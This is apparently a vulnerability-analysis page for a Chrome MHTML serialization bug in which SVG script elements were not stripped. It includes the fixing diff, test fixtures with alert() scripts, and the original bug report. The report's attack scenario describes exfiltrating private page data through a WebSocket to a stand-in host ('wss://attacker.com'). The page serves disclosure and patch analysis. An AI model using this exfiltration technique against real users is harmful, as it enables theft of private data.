Low watch CVSS 3.1 chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Low
Severity
3.1
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in MHTML
DescriptionInappropriate implementation in MHTML
ComponentMHTML
Sub-componentMHTML
Bug ClassLogic Error
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker499194407
Fix commit51ac3bc3dfdf (chromium/src) +44/-4
CWECWE-352, CWE-1021 (CSRF)
CVSS vectorCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
CISA KEVNot listed
CreditedGoogle
Reported2026-04-03 (per vendor advisory)
Fix landed2026-04-03 (public git)
Disclosed2026-05-05
Patch gap32 days — fix public in source before the advisory

Background

MHTML serialization
Chrome’s “Save page as” mechanism that captures a live DOM into a single MHTML archive via FrameSerializer, which walks each Element and decides whether to emit it.
`FrameSerializer::WillProcessElement`
The per-element callback that returns EmitElementChoice::kIgnore to drop an element (such as a script) from the serialized output.
`Element::IsScriptElement`
A virtual predicate on Element that is true for both HTML (HTMLScriptElement) and SVG (SVGScriptElement) script elements.
MHTML Improvements
A feature under which scripts are allowed to execute when an MHTML document is later opened, making any preserved script active rather than inert.

Root Cause Analysis

WillProcessElement dropped scripts by testing only IsA<HTMLScriptElement>(element), which matches HTML <script> but not the SVG <script> element type.

As a result, SVG script elements were serialized verbatim into the MHTML archive. With MHTML Improvements enabled, scripts in an opened MHTML document can execute, so a preserved SVG script would run when the saved archive is reopened.

The fix replaces the HTML-only type check with the virtual element.IsScriptElement(), which returns true for both HTML and SVG script elements, so both are now dropped (the HTMLNoScriptElement branch is preserved by OR-ing it into the same condition). The regression tests SVGScriptElementStripped (and EventHandlersStripped) confirm the serialized output no longer contains <script or the SVG/HTML script payloads.

Key insight
The core mistake was identifying “script” by a concrete subclass (HTMLScriptElement) rather than by the behavior-defining virtual IsScriptElement(), which silently excluded SVG scripts; the fix switches to the polymorphic predicate so every script element type is stripped.

Attack Path

  1. Inject an SVG script An attacker gets an SVG <script> element into a page’s DOM (e.g. via a site that reflects attacker content), which survives because it is not sanitized as an HTML script.
  2. Trigger serialization The page is captured to MHTML (user-driven “Save page”, or another save path), and WillProcessElement emits the SVG script because the old check only ignored HTMLScriptElement.
  3. Reopen the archive The victim opens the saved .mhtml file with MHTML Improvements enabled, which permits scripts in MHTML documents to execute.
  4. Script executes The preserved SVG script runs in the context of the reopened MHTML document (inferred as to the exact origin/privileges of that context, which the diff does not define).

Impact Assessment

An attacker who can place an SVG script into a serialized page achieves script execution when the resulting MHTML archive is later opened with MHTML Improvements enabled; the precondition is both the ability to inject SVG content and the archive being saved and reopened under that feature. The vendor advisory rates this low severity and describes it as inappropriate implementation in MHTML. The specific security context (origin, same-document vs. cross-origin) the script runs in is not shown by the diff and is (inferred).

Changed Functions

FunctionChangeNotes
TEST_F
third_party/blink/renderer/core/frame/frame_serializer_test.cc
modified

Files Changed

  • third_party/blink/renderer/core/frame/frame_serializer.cc
  • third_party/blink/renderer/core/frame/frame_serializer_test.cc
  • third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
  • third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
  • third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html

Audit Directions

  • Concrete-type vs. virtual predicate
    Flag IsA<HTMLFooElement> checks used as a semantic filter where a virtual predicate (like IsScriptElement) exists, since the concrete check misses SVG/MathML and other element-type variants.
  • SVG/foreign-content parity
    Audit sanitizers, serializers, and CSP/script gates for places that handle HTML elements but omit their SVG counterparts (<script>, <use>, event-handler attributes).
  • Feature-gated behavior changes
    Re-review serialization/sanitization assumptions whenever a feature (such as MHTML Improvements) turns previously-inert content into executable content.
From 51ac3bc3dfdfaae83e8b61c11477c33349746fe8 Mon Sep 17 00:00:00 2001
From: Andrew Paseltiner <[email protected]>
Date: Fri, 03 Apr 2026 11:13:57 -0700
Subject: [PATCH] [MHTML] Strip SVG script elements during serialization

FrameSerializer was only stripping HTML script elements, but not SVG
script elements. When MHTML Improvements are enabled, scripts can
execute in MHTML documents, which could lead to security issues if
injected SVG scripts are preserved.

This CL updates FrameSerializer::WillProcessElement to use the virtual
IsScriptElement() method, which correctly identifies and strips both
HTML and SVG script elements.

Fixed: 499194407
Change-Id: I44de472efbbccff02179af697d019a227fc32828
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7726689
Reviewed-by: Dan Harrington <[email protected]>
Reviewed-by: Ian Kilpatrick <[email protected]>
Commit-Queue: Andrew Paseltiner <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1609869}
---

diff --git a/third_party/blink/renderer/core/frame/frame_serializer.cc b/third_party/blink/renderer/core/frame/frame_serializer.cc
index 5aecec8b..abe11b02 100644
--- a/third_party/blink/renderer/core/frame/frame_serializer.cc
+++ b/third_party/blink/renderer/core/frame/frame_serializer.cc
@@ -666,10 +666,7 @@
   }
 
   EmitElementChoice WillProcessElement(const Element& element) override {
-    if (IsA<HTMLScriptElement>(element)) {
-      return EmitElementChoice::kIgnore;
-    }
-    if (IsA<HTMLNoScriptElement>(element)) {
+    if (element.IsScriptElement() || IsA<HTMLNoScriptElement>(element)) {
       return EmitElementChoice::kIgnore;
     }
     auto* meta = DynamicTo<HTMLMetaElement>(element);
diff --git a/third_party/blink/renderer/core/frame/frame_serializer_test.cc b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
index f7a2ec8..d327750 100644
--- a/third_party/blink/renderer/core/frame/frame_serializer_test.cc
+++ b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
@@ -562,6 +562,29 @@
             250U);
 }
 
+TEST_F(FrameSerializerTest, SVGScriptElementStripped) {
+  SetBaseFolder("frameserializer/svg/");
+
+  RegisterURL("svg_script.html", "text/html");
+  Serialize("svg_script.html");
+
+  String data = GetSerializedData("svg_script.html", "text/html");
+  EXPECT_FALSE(data.contains("<script"));
+  EXPECT_FALSE(data.contains("svg script"));
+  EXPECT_FALSE(data.contains("html script"));
+}
+
+TEST_F(FrameSerializerTest, EventHandlersStripped) {
+  SetBaseFolder("frameserializer/svg/");
+
+  RegisterURL("svg_onload.html", "text/html");
+  Serialize("svg_onload.html");
+
+  String data = GetSerializedData("svg_onload.html", "text/html");
+  EXPECT_FALSE(data.contains("onload"));
+  EXPECT_FALSE(data.contains("onclick"));
+}
+
 TEST_F(FrameSerializerTest, DontIncludeErrorImage) {
   SetBaseFolder("frameserializer/image/");
 
diff --git a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
index 03dd574b0..4bdae5e 100644
--- a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
+++ b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
@@ -208,6 +208,8 @@
 testing/data/frameserializer/rewritelinks/rewritelinks_simple.html
 testing/data/frameserializer/svg/green_rectangle.svg
 testing/data/frameserializer/svg/page_with_svg_image.html
+testing/data/frameserializer/svg/svg_onload.html
+testing/data/frameserializer/svg/svg_script.html
 testing/data/frameserializer/xml/xmldecl.xml
 testing/data/fullscreen_div.html
 testing/data/fullscreen_iframe.html
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
new file mode 100644
index 0000000..70623b21
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg" onload="alert('svg onload')">
+  <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
+</svg>
+<div onclick="alert('html onclick')">Click me</div>
+</body>
+</html>
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
new file mode 100644
index 0000000..dc93b76
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg">
+  <script>alert('svg script');</script>
+</svg>
+<script>alert('html script');</script>
+</body>
+</html>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/renderer/core/frame/frame_serializer_test.cc b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
index f7a2ec8..d327750 100644
--- a/third_party/blink/renderer/core/frame/frame_serializer_test.cc
+++ b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
@@ -562,6 +562,29 @@
             250U);
 }
 
+TEST_F(FrameSerializerTest, SVGScriptElementStripped) {
+  SetBaseFolder("frameserializer/svg/");
+
+  RegisterURL("svg_script.html", "text/html");
+  Serialize("svg_script.html");
+
+  String data = GetSerializedData("svg_script.html", "text/html");
+  EXPECT_FALSE(data.contains("<script"));
+  EXPECT_FALSE(data.contains("svg script"));
+  EXPECT_FALSE(data.contains("html script"));
+}
+
+TEST_F(FrameSerializerTest, EventHandlersStripped) {
+  SetBaseFolder("frameserializer/svg/");
+
+  RegisterURL("svg_onload.html", "text/html");
+  Serialize("svg_onload.html");
+
+  String data = GetSerializedData("svg_onload.html", "text/html");
+  EXPECT_FALSE(data.contains("onload"));
+  EXPECT_FALSE(data.contains("onclick"));
+}
+
 TEST_F(FrameSerializerTest, DontIncludeErrorImage) {
   SetBaseFolder("frameserializer/image/");
diff --git a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
index 03dd574b0..4bdae5e 100644
--- a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
+++ b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
@@ -208,6 +208,8 @@
 testing/data/frameserializer/rewritelinks/rewritelinks_simple.html
 testing/data/frameserializer/svg/green_rectangle.svg
 testing/data/frameserializer/svg/page_with_svg_image.html
+testing/data/frameserializer/svg/svg_onload.html
+testing/data/frameserializer/svg/svg_script.html
 testing/data/frameserializer/xml/xmldecl.xml
 testing/data/fullscreen_div.html
 testing/data/fullscreen_iframe.html
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
new file mode 100644
index 0000000..70623b21
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg" onload="alert('svg onload')">
+  <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
+</svg>
+<div onclick="alert('html onclick')">Click me</div>
+</body>
+</html>
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
new file mode 100644
index 0000000..dc93b76
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg">
+  <script>alert('svg script');</script>
+</svg>
+<script>alert('html script');</script>
+</body>
+</html>
Loading diff…

Original Bug Report

reported by [email protected]

Information Leak via Incomplete Script Stripping in FrameSerializer (MHTML)

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the security team.

Overview: When saving a page as MHTML, FrameSerializer attempts to strip scripts but fails to remove SVGScriptElement. If the kMHTML_Improvements feature is enabled, scripts are allowed to execute in MHTML files, and because CSP is intentionally stripped during serialization, an injected SVG script can execute and exfiltrate private page data via WebSockets.

Affected files:

  • third_party/blink/renderer/core/frame/frame_serializer.cc
  • content/browser/renderer_host/navigation_policy_container_builder.cc

Estimated timestamp from git blame: 2024-10-25

Root Cause

When saving a webpage as an MHTML archive, Chrome attempts to strip executable scripts to prevent security issues when the saved page is reopened. This logic resides in FrameSerializer::WillProcessElement (third_party/blink/renderer/core/frame/frame_serializer.cc).

Currently, the function checks for and ignores HTMLScriptElement and HTMLNoScriptElement. However, it fails to check for SVGScriptElement. As a result, <script> tags embedded within an <svg> namespace are not stripped and are preserved verbatim in the resulting .mhtml file.

Historically, MHTML documents were loaded with strict sandbox flags that prohibited script execution. However, when the experimental blink::features::kMHTML_Improvements feature is enabled, NavigationPolicyContainerBuilder::ComputeSandboxFlags explicitly removes the kScripts restriction from the MHTML sandbox flags, assuming that FrameSerializer has already safely removed all scripts.

Compounding the issue, FrameSerializer::ShouldIgnoreMetaElement explicitly removes <meta http-equiv="Content-Security-Policy"> tags to ensure MHTML subresources load correctly. Since HTTP response headers are also not serialized, the saved MHTML file has no CSP.

Potential Attack Scenario

The following steps describe how an attacker could potentially exploit this logic flaw:

  1. Injection: An attacker injects a malicious SVG script (e.g., <svg xmlns="http://www.w3.org/2000/svg"><script>/* Malicious code */</script></svg>) into a target website (e.g., via a comment section). The site’s CSP prevents it from executing on the live site.
  2. Saving: A victim, authenticated to the site, views a page containing both their private data and the inert SVG payload. The victim saves the page locally (Ctrl+S) as a single-file MHTML.
  3. Serialization Bypass: FrameSerializer strips the site’s CSP meta tags but fails to strip the SVGScriptElement, embedding both the private data and the malicious script in the local .mhtml file.
  4. Execution: The victim later opens the saved MHTML file. With kMHTML_Improvements enabled, the sandbox allows scripts to execute. The lack of CSP allows the SVG script to run.
  5. Exfiltration: The executing script reads the serialized DOM (containing the victim’s private data). Standard fetch() calls are blocked by ResourceFetcher in MHTML contexts, but the script can successfully open a WebSocket (new WebSocket('wss://attacker.com')) because WebSockets route through BrowserInterfaceBroker, bypassing ResourceFetcher’s local-only archive restrictions. The data is exfiltrated to the attacker.

Note: These steps are based on static code analysis, as our tooling does not yet have the ability to run a live Proof of Concept.

Suggested Fix

Update FrameSerializer::WillProcessElement in third_party/blink/renderer/core/frame/frame_serializer.cc to correctly identify and strip all script elements.

Instead of explicitly checking for HTMLScriptElement, it should check if the element is a script element. For example:

if (IsA<HTMLScriptElement>(element) || IsA<SVGScriptElement>(element)) {
  return EmitElementChoice::kIgnore;
}

Alternatively, consider using the virtual IsScriptElement() method defined on Element if applicable.

Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker
Links in the report